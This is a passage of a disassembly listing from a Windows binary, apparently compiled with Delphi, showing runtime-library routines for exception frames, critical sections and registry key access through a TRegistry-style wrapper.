		jz	short loc_40013CAF
		mov	eax, ebx
		mov	si, 0FFFFh
		call	sub_40003EC8
		lea	edx, [ebp+var_4]
		mov	si, 0FFFEh
		call	sub_40003EC8
		cmp	[ebp+var_4], 0
		jz	short loc_40013CAF
		push	[ebp+var_4]
		push	offset dword_40013CDC
		push	dword ptr [edi]
		mov	eax, edi
		mov	edx, 3
		call	sub_40004C08


loc_40013CAF:				; CODE XREF: sub_40013C30+4Aj
					; sub_40013C30+67j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40013CCC


loc_40013CBC:				; CODE XREF: sub_40013C30+9Aj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_40013CC5:				; DATA XREF: sub_40013C30+18o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40013CBC
; ---------------------------------------------------------------------------


loc_40013CCC:				; CODE XREF: sub_40013C30+94j
					; DATA XREF: sub_40013C30+87o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40013C30	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1
dword_40013CDC	dd 2Eh		; ---------------------------------------------------------------------------


loc_40013CE0:				; DATA XREF: .text:4001315Ao
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40013CE4	proc near		; CODE XREF: sub_40013ED4+36p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		cmp	ds:dword_4001F2E0, 0
		jz	loc_40013D86
		mov	eax, ds:dword_4001F2E0
		call	sub_40013AA4
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40013D7F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [edi+8]
		dec	ebx
		cmp	ebx, 0
		jl	short loc_40013D67


loc_40013D23:				; CODE XREF: sub_40013CE4+81j
		mov	edx, ebx
		mov	eax, edi
		call	sub_400137FC
		mov	esi, eax
		cmp	[ebp+var_4], 0
		jz	short loc_40013D3C
		mov	eax, [esi+8]
		cmp	eax, [ebp+var_4]
		jnz	short loc_40013D61


loc_40013D3C:				; CODE XREF: sub_40013CE4+4Ej
		cmp	[ebp+var_8], 0
		jz	short loc_40013D51
		mov	edx, [esi+10h]
		mov	eax, [ebp+var_8]
		call	sub_40007B90
		test	al, al
		jz	short loc_40013D61


loc_40013D51:				; CODE XREF: sub_40013CE4+5Cj
		mov	edx, ebx
		mov	eax, edi
		call	sub_40013708
		mov	eax, esi
		call	sub_40003CE8


loc_40013D61:				; CODE XREF: sub_40013CE4+56j
					; sub_40013CE4+6Bj
		dec	ebx
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40013D23


loc_40013D67:				; CODE XREF: sub_40013CE4+3Dj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40013D86


loc_40013D74:				; CODE XREF: sub_40013CE4+A0j
		mov	eax, ds:dword_4001F2E0
		call	sub_40013B08
		retn
; ---------------------------------------------------------------------------


loc_40013D7F:				; DATA XREF: sub_40013CE4+2Bo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40013D74
; ---------------------------------------------------------------------------


loc_40013D86:				; CODE XREF: sub_40013CE4+16j
					; sub_40013CE4+9Aj
					; DATA XREF: ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_40013CE4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40013D90	proc near		; CODE XREF: sub_40013B14+Dp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		cmp	ds:dword_4001F2E0, 0
		jz	short loc_40013E0E
		mov	eax, ds:dword_4001F2E0
		call	sub_40013AA4
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40013E07
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [edi+8]
		dec	ebx
		cmp	ebx, 0
		jl	short loc_40013DEF


loc_40013DC6:				; CODE XREF: sub_40013D90+5Dj
		mov	edx, ebx
		mov	eax, edi
		call	sub_400137FC
		mov	esi, eax
		mov	eax, [esi+4]
		cmp	eax, [ebp+var_4]
		jnz	short loc_40013DE9
		mov	edx, ebx
		mov	eax, edi
		call	sub_40013708
		mov	eax, esi
		call	sub_40003CE8


loc_40013DE9:				; CODE XREF: sub_40013D90+47j
		dec	ebx
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40013DC6


loc_40013DEF:				; CODE XREF: sub_40013D90+34j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40013E0E


loc_40013DFC:				; CODE XREF: sub_40013D90+7Cj
		mov	eax, ds:dword_4001F2E0
		call	sub_40013B08
		retn
; ---------------------------------------------------------------------------


loc_40013E07:				; DATA XREF: sub_40013D90+22o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40013DFC
; ---------------------------------------------------------------------------


loc_40013E0E:				; CODE XREF: sub_40013D90+11j
					; sub_40013D90+76j
					; DATA XREF: ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_40013D90	endp


; =============== S U B	R O U T	I N E =======================================



sub_40013E14	proc near		; CODE XREF: sub_400191F8+1Ap
		push	offset dword_4001F2E4
		call	sub_400065E0	; InitializeCriticalSection
		push	offset dword_40013E44
		push	0
		push	0FFFFFFFFh
		push	0
		call	sub_40006508	; CreateEventA
		mov	ds:dword_4001F2CC, eax
		cmp	ds:dword_4001F2CC, 0
		jnz	short locret_40013E41
		call	sub_4000C410

locret_40013E41:			; CODE XREF: sub_40013E14+26j
		retn
sub_40013E14	endp

; ---------------------------------------------------------------------------
		align 4
dword_40013E44	dd 0		
; =============== S U B	R O U T	I N E =======================================



sub_40013E48	proc near		; CODE XREF: sub_40013ED4+7Dp
		push	offset dword_4001F2E4
		call	sub_40006518	; RtlDeleteCriticalSection
		mov	eax, ds:dword_4001F2CC
		push	eax
		call	sub_400064F0	; CloseHandle
		retn
sub_40013E48	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40013E60	proc near		; CODE XREF: sub_40013ED4+2Dp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:dword_4001F2D4
		call	sub_40013AA4
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40013EB5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [edi+8]
		dec	ebx
		test	ebx, ebx
		jl	short loc_40013E9D
		inc	ebx
		xor	esi, esi


loc_40013E8B:				; CODE XREF: sub_40013E60+3Bj
		mov	edx, esi
		mov	eax, edi
		call	sub_400137FC
		call	sub_40003CE8
		inc	esi
		dec	ebx
		jnz	short loc_40013E8B


loc_40013E9D:				; CODE XREF: sub_40013E60+26j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40013EBC


loc_40013EAA:				; CODE XREF: sub_40013E60+5Aj
		mov	eax, ds:dword_4001F2D4
		call	sub_40013B08
		retn
; ---------------------------------------------------------------------------


loc_40013EB5:				; DATA XREF: sub_40013E60+15o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40013EAA
; ---------------------------------------------------------------------------


loc_40013EBC:				; CODE XREF: sub_40013E60+54j
					; DATA XREF: sub_40013E60+45o
		mov	eax, ds:dword_4001F2D4
		call	sub_40003CE8
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40013E60	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40013ECC	proc near		; DATA XREF: sub_40013ED4+69o
					; sub_400191F8+1Fo
		call	sub_40013510
		retn
sub_40013ECC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40013ED4	proc near		; DATA XREF: .text:40018398o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40013F78
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4001F2D0
		jnz	short loc_40013F6A
		mov	eax, ds:dword_4001E7F8
		call	sub_40013510
		mov	eax, ds:dword_4001F2C8
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		call	sub_40013E60
		xor	edx, edx
		xor	eax, eax
		call	sub_40013CE4
		mov	eax, offset dword_4001F2E0
		call	sub_4000C970
		call	sub_40006428
		lea	eax, [eax+8]
		call	sub_4000C970
		mov	eax, offset dword_4001F2D8
		call	sub_4000C970
		mov	eax, offset dword_4001F2C8
		call	sub_40006204
		mov	eax, offset sub_40013ECC
		call	sub_4000609C
		mov	eax, offset dword_4001AA94
		call	sub_4000C970
		call	sub_40013E48
		mov	eax, offset dword_4001F2DC
		call	sub_4000C970
		mov	eax, offset dword_4001F2C8
		call	sub_40006204


loc_40013F6A:				; CODE XREF: sub_40013ED4+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40013F7F


loc_40013F77:				; CODE XREF: sub_40013ED4+A9j
		retn
; ---------------------------------------------------------------------------


loc_40013F78:				; DATA XREF: sub_40013ED4+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40013F77
; ---------------------------------------------------------------------------


loc_40013F7F:				; CODE XREF: sub_40013ED4:loc_40013F77j
					; DATA XREF: sub_40013ED4+9Eo
		pop	ebp
		retn
sub_40013ED4	endp

; ---------------------------------------------------------------------------
		align 4
off_40013F84	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF68o
		dd 0FF92h, 0FFFFFFFFh, 1
dword_40013F94	dd 30h,	0FFFFFFFFh, 1, 31h					; .data:4001AA9Co

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40013FA4	proc near		; DATA XREF: .text:400183A0o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40013FE0
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4001F2FC
		jnz	short loc_40013FD2
		mov	eax, offset off_4001AA98
		mov	ecx, 2
		mov	edx, ds:off_40001000
		call	sub_40005314


loc_40013FD2:				; CODE XREF: sub_40013FA4+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40013FE7


loc_40013FDF:				; CODE XREF: sub_40013FA4+41j
		retn
; ---------------------------------------------------------------------------


loc_40013FE0:				; DATA XREF: sub_40013FA4+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40013FDF
; ---------------------------------------------------------------------------


loc_40013FE7:				; CODE XREF: sub_40013FA4:loc_40013FDFj
					; DATA XREF: sub_40013FA4+36o
		pop	ebp
		retn
sub_40013FA4	endp

; ---------------------------------------------------------------------------
		align 4
off_40013FEC	dd offset dword_40014038 ; DATA	XREF: sub_400140B4+19r
					; sub_4001464C+50r ...
		dd 7 dup(0)
		dd offset dword_40014038
		dd 0Ch
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40014038	dd 65524512h, 74736967h, 78457972h, 74706563h, 906E6F69h
					; DATA XREF: .text:off_40013FECo
					; .text:4001400Co
off_4001404C	dd offset dword_40014098 ; DATA	XREF: .itext:400194A4r
					; .itext:40019505r
		dd 2 dup(0)
		dd offset dword_40014098
		dd 4 dup(0)
		dd offset word_400140AA
		dd 1Ch
		dd offset off_4000101C
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40014190
dword_40014098	dd 0Eh,	10000h						; .text:40014058o
		db 2 dup(0)
		dd offset off_40001000
		dw 10h
		db 2 dup(0)
word_400140AA	dw 5409h		; DATA XREF: .text:4001406Co
		dd 69676552h, 79727473h

; =============== S U B	R O U T	I N E =======================================



sub_400140B4	proc near		; CODE XREF: sub_400145D4+62p

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8

		push	ebx
		add	esp, 0FFFFFFF8h
		mov	ebx, eax
		mov	[esp+0Ch+var_C], ebx
		mov	[esp+0Ch+var_8], 0Bh
		push	esp
		push	0
		mov	ecx, off_4001AF7C
		mov	dl, 1
		mov	eax, ds:off_40013FEC
		call	sub_4000B128
		call	sub_400042E4
		pop	ecx
		pop	edx
		pop	ebx
		retn
sub_400140B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_400140E0	proc near		; CODE XREF: sub_40014250+2Fp
					; sub_40014374+2Cp
		push	ebx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_400140F0
		cmp	byte ptr [ebx],	5Ch
		jnz	short loc_400140F0
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_400140F0:				; CODE XREF: sub_400140E0+5j
					; sub_400140E0+Aj
		mov	al, 1
		pop	ebx
		retn
sub_400140E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_400140F4	proc near		; CODE XREF: sub_4001464C+14p
		dec	al
		jz	short loc_40014106
		dec	al
		jz	short loc_4001410C
		dec	al
		jz	short loc_40014112
		dec	al
		jz	short loc_40014118
		jmp	short loc_4001411E
; ---------------------------------------------------------------------------


loc_40014106:				; CODE XREF: sub_400140F4+2j
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4001410C:				; CODE XREF: sub_400140F4+6j
		mov	eax, 2
		retn
; ---------------------------------------------------------------------------


loc_40014112:				; CODE XREF: sub_400140F4+Aj
		mov	eax, 4
		retn
; ---------------------------------------------------------------------------


loc_40014118:				; CODE XREF: sub_400140F4+Ej
		mov	eax, 3
		retn
; ---------------------------------------------------------------------------


loc_4001411E:				; CODE XREF: sub_400140F4+10j
		xor	eax, eax
		retn
sub_400140F4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40014124	proc near		; CODE XREF: sub_4001452C+3Fp
					; sub_400146B4+5Ep
		cmp	eax, 1
		jnz	short loc_4001412C
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_4001412C:				; CODE XREF: sub_40014124+3j
		cmp	eax, 2
		jnz	short loc_40014135
		mov	al, 2
		jmp	short locret_40014149
; ---------------------------------------------------------------------------


loc_40014135:				; CODE XREF: sub_40014124+Bj
		cmp	eax, 4
		jnz	short loc_4001413E
		mov	al, 3
		jmp	short locret_40014149
; ---------------------------------------------------------------------------


loc_4001413E:				; CODE XREF: sub_40014124+14j
		cmp	eax, 3
		jnz	short loc_40014147
		mov	al, 4
		jmp	short locret_40014149
; ---------------------------------------------------------------------------


loc_40014147:				; CODE XREF: sub_40014124+1Dj
		xor	eax, eax

locret_40014149:			; CODE XREF: sub_40014124+Fj
					; sub_40014124+18j ...
		retn
sub_40014124	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4001414C	proc near		; CODE XREF: .itext:400194A9p
					; .itext:4001950Ap
		push	ebx
		push	esi
		test	dl, dl
		jz	short loc_4001415A
		add	esp, 0FFFFFFF0h
		call	sub_40003F30


loc_4001415A:				; CODE XREF: sub_4001414C+4j
		mov	ebx, edx
		mov	esi, eax
		mov	edx, 80000001h
		mov	eax, esi
		call	sub_400141EC
		mov	dword ptr [esi+18h], 0F003Fh
		mov	byte ptr [esi+0Ch], 1
		mov	eax, esi
		test	bl, bl
		jz	short loc_4001418A
		call	sub_40003F88
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_4001418A:				; CODE XREF: sub_4001414C+2Dj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_4001414C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40014190	proc near		; DATA XREF: .text:40014094o
		push	ebx
		push	esi
		call	sub_40003FD8
		mov	ebx, edx
		mov	esi, eax
		mov	eax, esi
		call	sub_400141BC
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, esi
		call	sub_40003CD8
		test	bl, bl
		jle	short loc_400141B9
		mov	eax, esi
		call	sub_40003F80


loc_400141B9:				; CODE XREF: sub_40014190+20j
		pop	esi
		pop	ebx
		retn
sub_40014190	endp


; =============== S U B	R O U T	I N E =======================================



sub_400141BC	proc near		; CODE XREF: sub_40014190+Dp
					; sub_400141EC+22p ...
		push	ebx
		mov	ebx, eax
		mov	eax, [ebx+4]
		test	eax, eax
		jz	short loc_400141E8
		cmp	byte ptr [ebx+0Ch], 0
		jnz	short loc_400141D2
		push	eax
		call	sub_400064D0	; RegFlushKey


loc_400141D2:				; CODE XREF: sub_400141BC+Ej
		mov	eax, [ebx+4]
		push	eax
		call	sub_400064C0	; RegCloseKey
		xor	eax, eax
		mov	[ebx+4], eax
		lea	eax, [ebx+10h]
		call	sub_40004884


loc_400141E8:				; CODE XREF: sub_400141BC+8j
		pop	ebx
		retn
sub_400141BC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400141EC	proc near		; CODE XREF: sub_4001414C+19p
					; .itext:400194B7p ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, [ebx+8]
		cmp	esi, eax
		jz	short loc_40014213
		cmp	byte ptr [ebx+14h], 0
		jz	short loc_40014209
		push	eax
		call	sub_400064C0	; RegCloseKey
		mov	byte ptr [ebx+14h], 0


loc_40014209:				; CODE XREF: sub_400141EC+11j
		mov	[ebx+8], esi
		mov	eax, ebx
		call	sub_400141BC


loc_40014213:				; CODE XREF: sub_400141EC+Bj
		pop	esi
		pop	ebx
		retn
sub_400141EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40014218	proc near		; CODE XREF: sub_40014250+EAp
					; sub_40014374+AFp ...
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_400141BC
		mov	[ebx+4], esi
		lea	eax, [ebx+10h]
		mov	edx, edi
		call	sub_400048D8
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40014218	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4001423C	proc near		; CODE XREF: sub_40014250+74p
					; sub_40014250+A8p ...
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_40014247
		test	dl, dl
		jnz	short loc_4001424B


loc_40014247:				; CODE XREF: sub_4001423C+5j
		mov	eax, [eax+8]
		retn
; ---------------------------------------------------------------------------


loc_4001424B:				; CODE XREF: sub_4001423C+9j
		mov	eax, ecx
		retn
sub_4001423C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40014250	proc near		; CODE XREF: .itext:400194C5p
					; .itext:40019526p

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		xor	ebx, ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5], cl
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40014355
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		mov	edx, ebx
		call	sub_4000491C
		mov	eax, [ebp+var_4]
		call	sub_400140E0
		mov	ebx, eax
		test	bl, bl
		jnz	short loc_4001429C
		lea	eax, [ebp+var_4]
		mov	ecx, 1
		mov	edx, 1
		call	sub_40004DE8


loc_4001429C:				; CODE XREF: sub_40014250+38j
		xor	eax, eax
		mov	[ebp+var_C], eax
		cmp	[ebp+var_5], 0
		jz	short loc_400142AD
		cmp	[ebp+var_4], 0
		jnz	short loc_400142D7


loc_400142AD:				; CODE XREF: sub_40014250+55j
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, [esi+18h]
		push	eax
		push	0
		mov	eax, [ebp+var_4]
		call	sub_40004D48
		push	eax
		mov	edx, ebx
		mov	eax, esi
		call	sub_4001423C
		push	eax
		call	sub_400064D8	; RegOpenKeyExA
		test	eax, eax
		setz	[ebp+var_6]
		jmp	short loc_40014309
; ---------------------------------------------------------------------------


loc_400142D7:				; CODE XREF: sub_40014250+5Bj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		mov	eax, [esi+18h]
		push	eax
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_4]
		call	sub_40004D48
		push	eax
		mov	edx, ebx
		mov	eax, esi
		call	sub_4001423C
		push	eax
		call	sub_400064C8	; RegCreateKeyExA
		test	eax, eax
		setz	[ebp+var_6]


loc_40014309:				; CODE XREF: sub_40014250+85j
		cmp	[ebp+var_6], 0
		jz	short loc_4001433F
		cmp	dword ptr [esi+4], 0
		setnz	al
		test	bl, al
		jz	short loc_40014332
		push	dword ptr [esi+10h]
		push	offset dword_40014370
		push	[ebp+var_4]
		lea	eax, [ebp+var_4]
		mov	edx, 3
		call	sub_40004C08


loc_40014332:				; CODE XREF: sub_40014250+C8j
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_40014218


loc_4001433F:				; CODE XREF: sub_40014250+BDj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4001435C


loc_4001434C:				; CODE XREF: sub_40014250+10Aj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_40014355:				; DATA XREF: sub_40014250+17o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4001434C
; ---------------------------------------------------------------------------


loc_4001435C:				; CODE XREF: sub_40014250+104j
					; DATA XREF: sub_40014250+F7o
		movzx	eax, [ebp+var_6]
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40014250	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1
dword_40014370	dd 5Ch		
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40014374	proc near

var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_4], ecx
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4001450E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		mov	edx, ebx
		call	sub_4000491C
		mov	eax, [ebp+var_4]
		call	sub_400140E0
		mov	ebx, eax
		test	bl, bl
		jnz	short loc_400143BD
		lea	eax, [ebp+var_4]
		mov	ecx, 1
		mov	edx, 1
		call	sub_40004DE8


loc_400143BD:				; CODE XREF: sub_40014374+35j
		xor	eax, eax
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	20019h
		push	0
		mov	eax, [ebp+var_4]
		call	sub_40004D48
		push	eax
		mov	edx, ebx
		mov	eax, esi
		call	sub_4001423C
		push	eax
		call	sub_400064D8	; RegOpenKeyExA
		test	eax, eax
		setz	[ebp+var_5]
		cmp	[ebp+var_5], 0
		jz	short loc_4001442D
		mov	dword ptr [esi+18h], 20019h
		cmp	dword ptr [esi+4], 0
		setnz	al
		test	bl, al
		jz	short loc_4001441B
		push	dword ptr [esi+10h]
		push	offset dword_40014528
		push	[ebp+var_4]
		lea	eax, [ebp+var_4]
		mov	edx, 3
		call	sub_40004C08


loc_4001441B:				; CODE XREF: sub_40014374+8Dj
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_40014218
		jmp	loc_400144F8
; ---------------------------------------------------------------------------


loc_4001442D:				; CODE XREF: sub_40014374+7Bj
		lea	eax, [ebp+var_C]
		push	eax
		push	20009h
		push	0
		mov	eax, [ebp+var_4]
		call	sub_40004D48
		push	eax
		mov	edx, ebx
		mov	eax, esi
		call	sub_4001423C
		push	eax
		call	sub_400064D8	; RegOpenKeyExA
		test	eax, eax
		setz	[ebp+var_5]
		cmp	[ebp+var_5], 0
		jz	short loc_40014495
		mov	dword ptr [esi+18h], 20009h
		cmp	dword ptr [esi+4], 0
		setnz	al
		test	bl, al
		jz	short loc_40014486
		push	dword ptr [esi+10h]
		push	offset dword_40014528
		push	[ebp+var_4]
		lea	eax, [ebp+var_4]
		mov	edx, 3
		call	sub_40004C08


loc_40014486:				; CODE XREF: sub_40014374+F8j
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_40014218
		jmp	short loc_400144F8
; ---------------------------------------------------------------------------


loc_40014495:				; CODE XREF: sub_40014374+E6j
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		push	0
		mov	eax, [ebp+var_4]
		call	sub_40004D48
		push	eax
		mov	edx, ebx
		mov	eax, esi
		call	sub_4001423C
		push	eax
		call	sub_400064D8	; RegOpenKeyExA
		test	eax, eax
		setz	[ebp+var_5]
		cmp	[ebp+var_5], 0
		jz	short loc_400144F8
		mov	dword ptr [esi+18h], 1
		cmp	dword ptr [esi+4], 0
		setnz	al
		test	bl, al
		jz	short loc_400144EB
		push	dword ptr [esi+10h]
		push	offset dword_40014528
		push	[ebp+var_4]
		lea	eax, [ebp+var_4]
		mov	edx, 3
		call	sub_40004C08


loc_400144EB:				; CODE XREF: sub_40014374+15Dj
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_40014218


loc_400144F8:				; CODE XREF: sub_40014374+B4j
					; sub_40014374+11Fj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40014515


loc_40014505:				; CODE XREF: sub_40014374+19Fj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4001450E:				; DATA XREF: sub_40014374+14o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40014505
; ---------------------------------------------------------------------------


loc_40014515:				; CODE XREF: sub_40014374+199j
					; DATA XREF: sub_40014374+18Co
		movzx	eax, [ebp+var_5]
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40014374	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 0FFFFFFFFh, 1
dword_40014528	dd 5Ch							; sub_40014374+FDo ...

; =============== S U B	R O U T	I N E =======================================



sub_4001452C	proc near		; CODE XREF: sub_4001457C+Fp

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	ebp, ecx
		mov	edi, edx
		mov	esi, eax
		mov	eax, ebp
		xor	ecx, ecx
		mov	edx, 8
		call	sub_40003580
		lea	eax, [ebp+4]
		push	eax
		push	0
		lea	eax, [esp+1Ch+var_14]
		push	eax
		push	0
		mov	eax, edi
		call	sub_40004D48
		push	eax
		mov	eax, [esi+4]
		push	eax
		call	sub_400064E0	; RegQueryValueExA
		test	eax, eax
		setz	bl
		mov	eax, [esp+14h+var_14]
		call	sub_40014124
		mov	[ebp+0], al
		mov	eax, ebx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4001452C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4001457C	proc near		; CODE XREF: sub_400145D4+Fp

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	ebx, eax
		mov	ecx, esp
		mov	edx, esi
		mov	eax, ebx
		call	sub_4001452C
		test	al, al
		jz	short loc_4001459A
		mov	eax, [esp+10h+var_C]
		jmp	short loc_4001459D
; ---------------------------------------------------------------------------


loc_4001459A:				; CODE XREF: sub_4001457C+16j
		or	eax, 0FFFFFFFFh


loc_4001459D:				; CODE XREF: sub_4001457C+1Cj
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_4001457C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400145A4	proc near		; CODE XREF: .itext:400194F7p
					; .itext:40019558p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	edi, ecx
		mov	ebp, edx
		mov	esi, eax
		mov	ebx, edi
		test	ebx, ebx
		jz	short loc_400145B9
		sub	ebx, 4
		mov	ebx, [ebx]


loc_400145B9:				; CODE XREF: sub_400145A4+Ej
		inc	ebx
		push	ebx
		push	1
		mov	eax, edi
		call	sub_40004D48
		mov	ecx, eax
		mov	edx, ebp
		mov	eax, esi
		call	sub_4001464C
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400145A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_400145D4	proc near

var_14		= byte ptr -14h

		push	ebx
		push	esi
